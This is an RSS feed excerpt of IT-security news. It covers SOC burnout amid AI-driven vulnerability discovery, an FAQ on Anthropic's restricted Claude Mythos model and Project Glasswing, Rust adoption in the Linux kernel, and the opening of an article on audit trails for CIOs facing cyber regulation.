<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Rust+Will+Help+Linux+Succeed+and+Makes+Coding+Fun%2C+Says+Greg+Kroah-Hartman%3A+https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F20%2F0417244%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F20%2F0417244%2Frust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/26/07/20/0417244/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The audit trail CIOs need before the next cyber crisis]]></title>
<description><![CDATA[In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.



Beneath that...]]></description>
<link>https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</guid>
<pubDate>Mon, 20 Jul 2026 02:13:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.</p>



<p class="wp-block-paragraph">Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.</p>



<p class="wp-block-paragraph">Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.</p>



<h2 class="wp-block-heading">The erosion of the corporate shield</h2>



<p class="wp-block-paragraph">With the application of the European Union’s <a href="https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en">Digital Operational Resilience Act (DORA)</a> for financial entities, alongside the broader <a href="https://digital-strategy.ec.europa.eu/en/policies/nis2-directive">NIS2 Directive</a> for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the <a href="https://www.sec.gov/newsroom/press-releases/2023-139">U.S. Securities and Exchange Commission’s cybersecurity disclosure rules</a> require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.</p>



<p class="wp-block-paragraph">The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.</p>



<p class="wp-block-paragraph">When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?</p>



<p class="wp-block-paragraph">When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.</p>



<h2 class="wp-block-heading">Why point-in-time comfort letters fail regulatory scrutiny</h2>



